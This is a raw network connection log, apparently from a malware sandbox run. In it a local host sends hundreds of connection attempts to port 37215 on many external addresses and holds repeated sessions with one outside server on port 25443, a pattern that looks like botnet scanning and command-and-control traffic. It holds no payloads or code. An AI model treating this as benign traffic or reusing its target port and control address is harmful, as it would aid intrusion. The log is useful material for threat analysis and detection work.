Sep 25, 2024 14:14:27.558476925 CEST	63353	37215	192.168.2.14	197.145.82.242
Sep 25, 2024 14:14:27.558516026 CEST	37215	63353	41.106.163.145	192.168.2.14
Sep 25, 2024 14:14:27.558527946 CEST	37215	63353	156.219.49.222	192.168.2.14
Sep 25, 2024 14:14:27.558536053 CEST	37215	63353	156.233.1.2	192.168.2.14
Sep 25, 2024 14:14:27.558545113 CEST	37215	63353	197.30.210.162	192.168.2.14
Sep 25, 2024 14:14:27.558546066 CEST	63353	37215	192.168.2.14	41.106.163.145
Sep 25, 2024 14:14:27.558553934 CEST	63353	37215	192.168.2.14	156.213.50.12
Sep 25, 2024 14:14:27.558553934 CEST	63353	37215	192.168.2.14	156.219.49.222
Sep 25, 2024 14:14:27.558569908 CEST	63353	37215	192.168.2.14	197.30.210.162
Sep 25, 2024 14:14:27.558752060 CEST	37215	35082	156.81.18.222	192.168.2.14
Sep 25, 2024 14:14:27.558847904 CEST	37215	37736	156.234.141.152	192.168.2.14
Sep 25, 2024 14:14:27.558918953 CEST	33974	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:27.558942080 CEST	37215	37648	156.236.249.253	192.168.2.14
Sep 25, 2024 14:14:27.558950901 CEST	37215	41668	156.204.119.239	192.168.2.14
Sep 25, 2024 14:14:27.558959961 CEST	37215	51756	41.86.154.216	192.168.2.14
Sep 25, 2024 14:14:27.558969021 CEST	37215	49928	41.62.184.97	192.168.2.14
Sep 25, 2024 14:14:27.558974981 CEST	41668	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:27.558984041 CEST	37215	32994	41.212.141.92	192.168.2.14
Sep 25, 2024 14:14:27.558996916 CEST	49928	37215	192.168.2.14	41.62.184.97
Sep 25, 2024 14:14:27.559014082 CEST	32994	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:27.559043884 CEST	37215	54846	156.189.114.235	192.168.2.14
Sep 25, 2024 14:14:27.559055090 CEST	37215	50562	197.66.37.45	192.168.2.14
Sep 25, 2024 14:14:27.559062958 CEST	37215	50324	41.231.47.126	192.168.2.14
Sep 25, 2024 14:14:27.559073925 CEST	54846	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:27.559201956 CEST	37215	50466	41.231.47.126	192.168.2.14
Sep 25, 2024 14:14:27.559230089 CEST	50466	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:27.559257030 CEST	37215	37832	156.94.130.72	192.168.2.14
Sep 25, 2024 14:14:27.559328079 CEST	37215	50012	197.162.20.115	192.168.2.14
Sep 25, 2024 14:14:27.559372902 CEST	37215	41108	41.205.212.169	192.168.2.14
Sep 25, 2024 14:14:27.559402943 CEST	41108	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:27.559416056 CEST	37215	34908	41.199.44.130	192.168.2.14
Sep 25, 2024 14:14:27.559425116 CEST	37215	42150	156.225.45.70	192.168.2.14
Sep 25, 2024 14:14:27.559433937 CEST	37215	46686	156.239.122.27	192.168.2.14
Sep 25, 2024 14:14:27.559573889 CEST	46170	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:27.560013056 CEST	37215	39130	197.217.4.140	192.168.2.14
Sep 25, 2024 14:14:27.560053110 CEST	56408	37215	192.168.2.14	197.232.85.84
Sep 25, 2024 14:14:27.560385942 CEST	37215	56850	197.66.212.76	192.168.2.14
Sep 25, 2024 14:14:27.560440063 CEST	33990	37215	192.168.2.14	156.131.47.109
Sep 25, 2024 14:14:27.560715914 CEST	37215	55270	41.33.196.235	192.168.2.14
Sep 25, 2024 14:14:27.561105013 CEST	63353	37215	192.168.2.14	156.233.1.2
Sep 25, 2024 14:14:27.561111927 CEST	33616	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:27.561111927 CEST	33616	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:27.561111927 CEST	45812	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:27.561111927 CEST	45812	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:27.561111927 CEST	46686	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:27.561111927 CEST	53872	37215	192.168.2.14	197.117.156.241
Sep 25, 2024 14:14:27.561235905 CEST	60628	37215	192.168.2.14	197.198.142.167
Sep 25, 2024 14:14:27.561322927 CEST	37215	39926	156.203.208.6	192.168.2.14
Sep 25, 2024 14:14:27.561640024 CEST	59556	37215	192.168.2.14	41.0.149.6
Sep 25, 2024 14:14:27.562019110 CEST	43554	37215	192.168.2.14	197.84.156.29
Sep 25, 2024 14:14:27.562407970 CEST	52650	37215	192.168.2.14	41.217.237.46
Sep 25, 2024 14:14:27.562796116 CEST	55210	37215	192.168.2.14	41.233.32.150
Sep 25, 2024 14:14:27.562814951 CEST	37215	45114	197.103.231.195	192.168.2.14
Sep 25, 2024 14:14:27.562828064 CEST	37215	41800	156.45.38.194	192.168.2.14
Sep 25, 2024 14:14:27.563175917 CEST	44318	37215	192.168.2.14	197.204.136.152
Sep 25, 2024 14:14:27.563296080 CEST	37215	57370	197.225.21.22	192.168.2.14
Sep 25, 2024 14:14:27.563569069 CEST	32826	37215	192.168.2.14	156.5.197.117
Sep 25, 2024 14:14:27.563676119 CEST	37215	51604	197.89.121.177	192.168.2.14
Sep 25, 2024 14:14:27.563739061 CEST	37215	34696	197.39.234.102	192.168.2.14
Sep 25, 2024 14:14:27.563915968 CEST	37215	48060	156.181.128.158	192.168.2.14
Sep 25, 2024 14:14:27.563978910 CEST	56270	37215	192.168.2.14	41.197.74.220
Sep 25, 2024 14:14:27.564366102 CEST	49698	37215	192.168.2.14	41.84.144.155
Sep 25, 2024 14:14:27.564603090 CEST	50466	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:27.564775944 CEST	42866	37215	192.168.2.14	197.135.138.40
Sep 25, 2024 14:14:27.565927982 CEST	37215	33616	41.13.242.126	192.168.2.14
Sep 25, 2024 14:14:27.565938950 CEST	37215	45812	156.239.3.244	192.168.2.14
Sep 25, 2024 14:14:27.568517923 CEST	37215	32826	156.5.197.117	192.168.2.14
Sep 25, 2024 14:14:27.568555117 CEST	32826	37215	192.168.2.14	156.5.197.117
Sep 25, 2024 14:14:27.568960905 CEST	32826	37215	192.168.2.14	156.5.197.117
Sep 25, 2024 14:14:27.568994045 CEST	32826	37215	192.168.2.14	156.5.197.117
Sep 25, 2024 14:14:27.569334030 CEST	32834	37215	192.168.2.14	156.5.197.117
Sep 25, 2024 14:14:27.569655895 CEST	37215	50466	41.231.47.126	192.168.2.14
Sep 25, 2024 14:14:27.569689035 CEST	50466	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:27.573580027 CEST	48740	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:27.573581934 CEST	35648	37215	192.168.2.14	41.249.188.230
Sep 25, 2024 14:14:27.573587894 CEST	36168	37215	192.168.2.14	156.138.131.129
Sep 25, 2024 14:14:27.573587894 CEST	33964	37215	192.168.2.14	197.23.218.89
Sep 25, 2024 14:14:27.573591948 CEST	52832	37215	192.168.2.14	156.41.196.219
Sep 25, 2024 14:14:27.573594093 CEST	59736	37215	192.168.2.14	156.232.193.116
Sep 25, 2024 14:14:27.573594093 CEST	45334	37215	192.168.2.14	197.216.198.88
Sep 25, 2024 14:14:27.573601961 CEST	35782	37215	192.168.2.14	41.233.172.226
Sep 25, 2024 14:14:27.573604107 CEST	48432	37215	192.168.2.14	197.142.4.242
Sep 25, 2024 14:14:27.573611975 CEST	52138	37215	192.168.2.14	197.84.55.128
Sep 25, 2024 14:14:27.573613882 CEST	58134	37215	192.168.2.14	156.38.30.116
Sep 25, 2024 14:14:27.573622942 CEST	53010	37215	192.168.2.14	197.52.64.150
Sep 25, 2024 14:14:27.573622942 CEST	43352	37215	192.168.2.14	156.99.199.8
Sep 25, 2024 14:14:27.573626995 CEST	48264	37215	192.168.2.14	197.124.53.141
Sep 25, 2024 14:14:27.573638916 CEST	41070	37215	192.168.2.14	41.137.147.229
Sep 25, 2024 14:14:27.573641062 CEST	33122	37215	192.168.2.14	41.78.200.36
Sep 25, 2024 14:14:27.573647022 CEST	49924	37215	192.168.2.14	41.34.28.21
Sep 25, 2024 14:14:27.573647022 CEST	50632	37215	192.168.2.14	197.95.136.237
Sep 25, 2024 14:14:27.573648930 CEST	36706	37215	192.168.2.14	156.181.223.109
Sep 25, 2024 14:14:27.573652983 CEST	38024	37215	192.168.2.14	197.134.95.236
Sep 25, 2024 14:14:27.573658943 CEST	53736	37215	192.168.2.14	156.240.45.175
Sep 25, 2024 14:14:27.573663950 CEST	41852	37215	192.168.2.14	156.40.192.176
Sep 25, 2024 14:14:27.573674917 CEST	56492	37215	192.168.2.14	41.98.106.247
Sep 25, 2024 14:14:27.573679924 CEST	38784	37215	192.168.2.14	197.17.187.114
Sep 25, 2024 14:14:27.573683977 CEST	37536	37215	192.168.2.14	41.83.219.54
Sep 25, 2024 14:14:27.573688984 CEST	50156	37215	192.168.2.14	197.74.218.71
Sep 25, 2024 14:14:27.573692083 CEST	50844	37215	192.168.2.14	156.81.68.0
Sep 25, 2024 14:14:27.573705912 CEST	43960	37215	192.168.2.14	156.93.5.52
Sep 25, 2024 14:14:27.573714972 CEST	60278	37215	192.168.2.14	156.25.22.251
Sep 25, 2024 14:14:27.573719978 CEST	49594	37215	192.168.2.14	197.165.193.4
Sep 25, 2024 14:14:27.573729038 CEST	40818	37215	192.168.2.14	156.105.125.145
Sep 25, 2024 14:14:27.573731899 CEST	60926	37215	192.168.2.14	156.15.229.166
Sep 25, 2024 14:14:27.573736906 CEST	40060	37215	192.168.2.14	156.172.193.46
Sep 25, 2024 14:14:27.573736906 CEST	48954	37215	192.168.2.14	197.163.1.4
Sep 25, 2024 14:14:27.574088097 CEST	37215	32826	156.5.197.117	192.168.2.14
Sep 25, 2024 14:14:27.576128960 CEST	34910	37215	192.168.2.14	156.30.61.21
Sep 25, 2024 14:14:27.576128960 CEST	47390	37215	192.168.2.14	41.47.34.165
Sep 25, 2024 14:14:27.576128960 CEST	42848	37215	192.168.2.14	197.251.62.7
Sep 25, 2024 14:14:27.576128960 CEST	36956	37215	192.168.2.14	41.229.210.177
Sep 25, 2024 14:14:27.576128960 CEST	55370	37215	192.168.2.14	156.47.117.154
Sep 25, 2024 14:14:27.576128960 CEST	54524	37215	192.168.2.14	41.199.199.160
Sep 25, 2024 14:14:27.576128960 CEST	49102	37215	192.168.2.14	41.43.237.174
Sep 25, 2024 14:14:27.576139927 CEST	42652	37215	192.168.2.14	41.119.211.219
Sep 25, 2024 14:14:27.578361988 CEST	37215	48740	197.149.161.125	192.168.2.14
Sep 25, 2024 14:14:27.578416109 CEST	48740	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:27.578476906 CEST	48740	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:27.578476906 CEST	48740	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:27.582108974 CEST	48856	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:27.583405972 CEST	37215	48740	197.149.161.125	192.168.2.14
Sep 25, 2024 14:14:27.601845980 CEST	37215	39926	156.203.208.6	192.168.2.14
Sep 25, 2024 14:14:27.601866007 CEST	37215	55270	41.33.196.235	192.168.2.14
Sep 25, 2024 14:14:27.601876020 CEST	37215	56850	197.66.212.76	192.168.2.14
Sep 25, 2024 14:14:27.601886988 CEST	37215	39130	197.217.4.140	192.168.2.14
Sep 25, 2024 14:14:27.601916075 CEST	37215	42150	156.225.45.70	192.168.2.14
Sep 25, 2024 14:14:27.601924896 CEST	37215	34908	41.199.44.130	192.168.2.14
Sep 25, 2024 14:14:27.601933956 CEST	37215	50012	197.162.20.115	192.168.2.14
Sep 25, 2024 14:14:27.601943016 CEST	37215	37832	156.94.130.72	192.168.2.14
Sep 25, 2024 14:14:27.601953030 CEST	37215	50324	41.231.47.126	192.168.2.14
Sep 25, 2024 14:14:27.601960897 CEST	37215	50562	197.66.37.45	192.168.2.14
Sep 25, 2024 14:14:27.601970911 CEST	37215	51756	41.86.154.216	192.168.2.14
Sep 25, 2024 14:14:27.601980925 CEST	37215	37648	156.236.249.253	192.168.2.14
Sep 25, 2024 14:14:27.601990938 CEST	37215	37736	156.234.141.152	192.168.2.14
Sep 25, 2024 14:14:27.602000952 CEST	37215	35082	156.81.18.222	192.168.2.14
Sep 25, 2024 14:14:27.605568886 CEST	59696	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:27.605581045 CEST	45538	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:27.605581999 CEST	55302	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:27.605581999 CEST	42438	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:27.605600119 CEST	48800	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:27.605600119 CEST	43762	37215	192.168.2.14	156.251.54.231
Sep 25, 2024 14:14:27.605602980 CEST	44514	37215	192.168.2.14	156.250.43.76
Sep 25, 2024 14:14:27.605617046 CEST	39630	37215	192.168.2.14	197.60.166.192
Sep 25, 2024 14:14:27.605617046 CEST	50174	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:27.605617046 CEST	53418	37215	192.168.2.14	197.12.87.129
Sep 25, 2024 14:14:27.605617046 CEST	52976	37215	192.168.2.14	156.212.161.32
Sep 25, 2024 14:14:27.605618954 CEST	36156	37215	192.168.2.14	41.239.114.94
Sep 25, 2024 14:14:27.605622053 CEST	38220	37215	192.168.2.14	156.18.192.245
Sep 25, 2024 14:14:27.605619907 CEST	52554	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:27.605619907 CEST	57214	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:27.605700970 CEST	50858	37215	192.168.2.14	156.127.70.28
Sep 25, 2024 14:14:27.605700970 CEST	58744	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:27.609867096 CEST	37215	48060	156.181.128.158	192.168.2.14
Sep 25, 2024 14:14:27.609879017 CEST	37215	34696	197.39.234.102	192.168.2.14
Sep 25, 2024 14:14:27.609889030 CEST	37215	51604	197.89.121.177	192.168.2.14
Sep 25, 2024 14:14:27.609899044 CEST	37215	57370	197.225.21.22	192.168.2.14
Sep 25, 2024 14:14:27.609910011 CEST	37215	41800	156.45.38.194	192.168.2.14
Sep 25, 2024 14:14:27.609919071 CEST	37215	45114	197.103.231.195	192.168.2.14
Sep 25, 2024 14:14:27.609929085 CEST	37215	45812	156.239.3.244	192.168.2.14
Sep 25, 2024 14:14:27.609939098 CEST	37215	33616	41.13.242.126	192.168.2.14
Sep 25, 2024 14:14:27.610471010 CEST	37215	59696	197.167.59.99	192.168.2.14
Sep 25, 2024 14:14:27.610481024 CEST	37215	45538	156.216.176.0	192.168.2.14
Sep 25, 2024 14:14:27.610490084 CEST	37215	48800	197.141.72.222	192.168.2.14
Sep 25, 2024 14:14:27.610521078 CEST	48800	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:27.610522032 CEST	59696	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:27.610523939 CEST	45538	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:27.610558987 CEST	48800	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:27.610568047 CEST	45538	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:27.610580921 CEST	59696	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:27.610783100 CEST	36068	37215	192.168.2.14	41.71.167.61
Sep 25, 2024 14:14:27.611223936 CEST	48770	37215	192.168.2.14	197.113.75.39
Sep 25, 2024 14:14:27.611701012 CEST	59814	37215	192.168.2.14	197.212.249.59
Sep 25, 2024 14:14:27.615767002 CEST	37215	48800	197.141.72.222	192.168.2.14
Sep 25, 2024 14:14:27.615803957 CEST	48800	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:27.616276026 CEST	37215	45538	156.216.176.0	192.168.2.14
Sep 25, 2024 14:14:27.616306067 CEST	45538	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:27.616558075 CEST	37215	59696	197.167.59.99	192.168.2.14
Sep 25, 2024 14:14:27.616595030 CEST	59696	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:27.616631985 CEST	37215	59814	197.212.249.59	192.168.2.14
Sep 25, 2024 14:14:27.616677046 CEST	59814	37215	192.168.2.14	197.212.249.59
Sep 25, 2024 14:14:27.616739035 CEST	59814	37215	192.168.2.14	197.212.249.59
Sep 25, 2024 14:14:27.616739035 CEST	59814	37215	192.168.2.14	197.212.249.59
Sep 25, 2024 14:14:27.616944075 CEST	59816	37215	192.168.2.14	197.212.249.59
Sep 25, 2024 14:14:27.621522903 CEST	37215	59814	197.212.249.59	192.168.2.14
Sep 25, 2024 14:14:27.621809006 CEST	37215	32826	156.5.197.117	192.168.2.14
Sep 25, 2024 14:14:27.625922918 CEST	37215	48740	197.149.161.125	192.168.2.14
Sep 25, 2024 14:14:27.665976048 CEST	37215	59814	197.212.249.59	192.168.2.14
Sep 25, 2024 14:14:28.099337101 CEST	37215	46598	156.239.122.27	192.168.2.14
Sep 25, 2024 14:14:28.099412918 CEST	46598	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:28.497900963 CEST	58504	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.500215054 CEST	58506	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.502840042 CEST	25443	58504	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.502904892 CEST	58504	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.503334999 CEST	58504	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.503365993 CEST	58504	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.505120993 CEST	25443	58506	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.505168915 CEST	58506	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.508148909 CEST	25443	58504	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.513390064 CEST	58506	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.513418913 CEST	58506	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.518335104 CEST	25443	58506	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.549742937 CEST	25443	58504	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.560916901 CEST	58508	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.561745882 CEST	25443	58506	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.565541029 CEST	49698	37215	192.168.2.14	41.84.144.155
Sep 25, 2024 14:14:28.565543890 CEST	44318	37215	192.168.2.14	197.204.136.152
Sep 25, 2024 14:14:28.565546989 CEST	42866	37215	192.168.2.14	197.135.138.40
Sep 25, 2024 14:14:28.565546989 CEST	56270	37215	192.168.2.14	41.197.74.220
Sep 25, 2024 14:14:28.565546989 CEST	55210	37215	192.168.2.14	41.233.32.150
Sep 25, 2024 14:14:28.565553904 CEST	59556	37215	192.168.2.14	41.0.149.6
Sep 25, 2024 14:14:28.565557003 CEST	43554	37215	192.168.2.14	197.84.156.29
Sep 25, 2024 14:14:28.565558910 CEST	33990	37215	192.168.2.14	156.131.47.109
Sep 25, 2024 14:14:28.565562963 CEST	53872	37215	192.168.2.14	197.117.156.241
Sep 25, 2024 14:14:28.565577984 CEST	56408	37215	192.168.2.14	197.232.85.84
Sep 25, 2024 14:14:28.565578938 CEST	52650	37215	192.168.2.14	41.217.237.46
Sep 25, 2024 14:14:28.565578938 CEST	46170	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:28.565578938 CEST	60628	37215	192.168.2.14	197.198.142.167
Sep 25, 2024 14:14:28.565577984 CEST	51962	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:28.565578938 CEST	33974	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:28.565577984 CEST	42158	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:28.565581083 CEST	57728	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:28.565586090 CEST	40096	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:28.565593958 CEST	45472	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:28.565601110 CEST	57024	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:28.565604925 CEST	34870	37215	192.168.2.14	197.39.234.102
Sep 25, 2024 14:14:28.565604925 CEST	48230	37215	192.168.2.14	156.181.128.158
Sep 25, 2024 14:14:28.565604925 CEST	55442	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:28.565604925 CEST	39304	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:28.565613985 CEST	35082	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:28.565623045 CEST	42324	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:28.565623045 CEST	38008	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:28.565628052 CEST	50704	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:28.565629005 CEST	50188	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:28.565634966 CEST	51898	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:28.565638065 CEST	37790	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:28.565648079 CEST	35230	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:28.565649033 CEST	37882	37215	192.168.2.14	156.234.141.152
Sep 25, 2024 14:14:28.565649986 CEST	60550	37215	192.168.2.14	156.225.218.158
Sep 25, 2024 14:14:28.565660000 CEST	50806	37215	192.168.2.14	197.78.143.131
Sep 25, 2024 14:14:28.565660000 CEST	37368	37215	192.168.2.14	156.187.201.235
Sep 25, 2024 14:14:28.565665007 CEST	43590	37215	192.168.2.14	156.171.152.43
Sep 25, 2024 14:14:28.565670967 CEST	41022	37215	192.168.2.14	41.156.111.157
Sep 25, 2024 14:14:28.565670967 CEST	38768	37215	192.168.2.14	41.79.119.224
Sep 25, 2024 14:14:28.565673113 CEST	41288	37215	192.168.2.14	41.51.35.238
Sep 25, 2024 14:14:28.565675974 CEST	59742	37215	192.168.2.14	156.248.57.255
Sep 25, 2024 14:14:28.565675974 CEST	59130	37215	192.168.2.14	156.158.105.241
Sep 25, 2024 14:14:28.565680027 CEST	58478	37215	192.168.2.14	41.130.77.93
Sep 25, 2024 14:14:28.565689087 CEST	38696	37215	192.168.2.14	156.232.20.55
Sep 25, 2024 14:14:28.565690994 CEST	51050	37215	192.168.2.14	41.57.194.114
Sep 25, 2024 14:14:28.565690994 CEST	42544	37215	192.168.2.14	156.234.253.235
Sep 25, 2024 14:14:28.565696001 CEST	49938	37215	192.168.2.14	156.170.145.195
Sep 25, 2024 14:14:28.565700054 CEST	25443	58508	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:28.565701962 CEST	57342	37215	192.168.2.14	197.183.125.169
Sep 25, 2024 14:14:28.565706015 CEST	39358	37215	192.168.2.14	197.67.2.0
Sep 25, 2024 14:14:28.565712929 CEST	36472	37215	192.168.2.14	197.141.193.242
Sep 25, 2024 14:14:28.565712929 CEST	39246	37215	192.168.2.14	197.43.150.11
Sep 25, 2024 14:14:28.565721989 CEST	32780	37215	192.168.2.14	41.191.135.128
Sep 25, 2024 14:14:28.565722942 CEST	58026	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:28.565723896 CEST	55702	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:28.565735102 CEST	38432	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:28.565736055 CEST	58508	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:28.565737009 CEST	58926	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:28.565737009 CEST	58880	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:28.565741062 CEST	34190	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:28.565747976 CEST	45188	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:28.565753937 CEST	56512	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:28.565757990 CEST	46100	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:28.565761089 CEST	34738	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:28.565762043 CEST	46344	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:28.565768957 CEST	44276	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:28.565769911 CEST	55450	37215	192.168.2.14	156.152.3.117
Sep 25, 2024 14:14:28.565774918 CEST	55510	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:28.565778017 CEST	50040	37215	192.168.2.14	156.181.180.92
Sep 25, 2024 14:14:28.565782070 CEST	58580	37215	192.168.2.14	197.247.35.202
Sep 25, 2024 14:14:28.570683956 CEST	37215	44318	197.204.136.152	192.168.2.14
Sep 25, 2024 14:14:28.570713043 CEST	37215	49698	41.84.144.155	192.168.2.14
Sep 25, 2024 14:14:28.570744038 CEST	37215	43554	197.84.156.29	192.168.2.14
Sep 25, 2024 14:14:28.570745945 CEST	49698	37215	192.168.2.14	41.84.144.155
Sep 25, 2024 14:14:28.570754051 CEST	37215	59556	41.0.149.6	192.168.2.14
Sep 25, 2024 14:14:28.570764065 CEST	37215	33990	156.131.47.109	192.168.2.14
Sep 25, 2024 14:14:28.570772886 CEST	43554	37215	192.168.2.14	197.84.156.29
Sep 25, 2024 14:14:28.570780039 CEST	59556	37215	192.168.2.14	41.0.149.6
Sep 25, 2024 14:14:28.570781946 CEST	37215	53872	197.117.156.241	192.168.2.14
Sep 25, 2024 14:14:28.570782900 CEST	44318	37215	192.168.2.14	197.204.136.152
Sep 25, 2024 14:14:28.570791960 CEST	37215	42866	197.135.138.40	192.168.2.14
Sep 25, 2024 14:14:28.570800066 CEST	33990	37215	192.168.2.14	156.131.47.109
Sep 25, 2024 14:14:28.570808887 CEST	37215	56270	41.197.74.220	192.168.2.14
Sep 25, 2024 14:14:28.570813894 CEST	53872	37215	192.168.2.14	197.117.156.241
Sep 25, 2024 14:14:28.570820093 CEST	37215	52650	41.217.237.46	192.168.2.14
Sep 25, 2024 14:14:28.570825100 CEST	42866	37215	192.168.2.14	197.135.138.40
Sep 25, 2024 14:14:28.570830107 CEST	37215	57728	197.225.21.22	192.168.2.14
Sep 25, 2024 14:14:28.570837021 CEST	56270	37215	192.168.2.14	41.197.74.220
Sep 25, 2024 14:14:28.570839882 CEST	37215	55210	41.233.32.150	192.168.2.14
Sep 25, 2024 14:14:28.570875883 CEST	55210	37215	192.168.2.14	41.233.32.150
Sep 25, 2024 14:14:28.570877075 CEST	57728	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:28.570894957 CEST	52650	37215	192.168.2.14	41.217.237.46
Sep 25, 2024 14:14:28.570959091 CEST	63353	37215	192.168.2.14	197.216.9.199
Sep 25, 2024 14:14:28.570966005 CEST	63353	37215	192.168.2.14	41.2.156.227
Sep 25, 2024 14:14:28.570966005 CEST	63353	37215	192.168.2.14	156.189.87.79
Sep 25, 2024 14:14:28.570974112 CEST	63353	37215	192.168.2.14	197.102.40.182
Sep 25, 2024 14:14:28.570974112 CEST	63353	37215	192.168.2.14	41.56.163.145
Sep 25, 2024 14:14:28.570974112 CEST	63353	37215	192.168.2.14	197.39.28.61
Sep 25, 2024 14:14:28.570976973 CEST	63353	37215	192.168.2.14	41.241.175.202
Sep 25, 2024 14:14:28.570993900 CEST	63353	37215	192.168.2.14	197.79.179.174
Sep 25, 2024 14:14:28.570997953 CEST	63353	37215	192.168.2.14	156.35.61.148
Sep 25, 2024 14:14:28.570997953 CEST	63353	37215	192.168.2.14	197.41.15.105
Sep 25, 2024 14:14:28.571011066 CEST	63353	37215	192.168.2.14	197.220.192.107
Sep 25, 2024 14:14:28.571017027 CEST	63353	37215	192.168.2.14	197.138.202.53
Sep 25, 2024 14:14:28.571024895 CEST	63353	37215	192.168.2.14	197.213.128.251
Sep 25, 2024 14:14:28.571119070 CEST	63353	37215	192.168.2.14	156.205.222.128
Sep 25, 2024 14:14:28.571127892 CEST	63353	37215	192.168.2.14	156.86.34.104
Sep 25, 2024 14:14:28.571130991 CEST	63353	37215	192.168.2.14	197.199.157.149
Sep 25, 2024 14:14:28.571132898 CEST	63353	37215	192.168.2.14	156.40.194.39
Sep 25, 2024 14:14:28.571134090 CEST	63353	37215	192.168.2.14	197.121.170.250
Sep 25, 2024 14:14:28.571132898 CEST	63353	37215	192.168.2.14	197.239.186.55
Sep 25, 2024 14:14:28.571134090 CEST	63353	37215	192.168.2.14	41.145.101.112
Sep 25, 2024 14:14:28.571134090 CEST	63353	37215	192.168.2.14	41.184.24.31
Sep 25, 2024 14:14:28.571139097 CEST	63353	37215	192.168.2.14	156.72.71.34
Sep 25, 2024 14:14:28.571139097 CEST	63353	37215	192.168.2.14	41.255.200.76
Sep 25, 2024 14:14:28.571141958 CEST	63353	37215	192.168.2.14	197.154.125.217
Sep 25, 2024 14:14:28.571141958 CEST	63353	37215	192.168.2.14	156.115.23.126
Sep 25, 2024 14:14:28.571141958 CEST	63353	37215	192.168.2.14	156.198.229.4
Sep 25, 2024 14:14:28.571141958 CEST	63353	37215	192.168.2.14	41.75.110.57
Sep 25, 2024 14:14:28.571141958 CEST	63353	37215	192.168.2.14	41.172.48.162
Sep 25, 2024 14:14:28.571141958 CEST	63353	37215	192.168.2.14	156.90.70.51
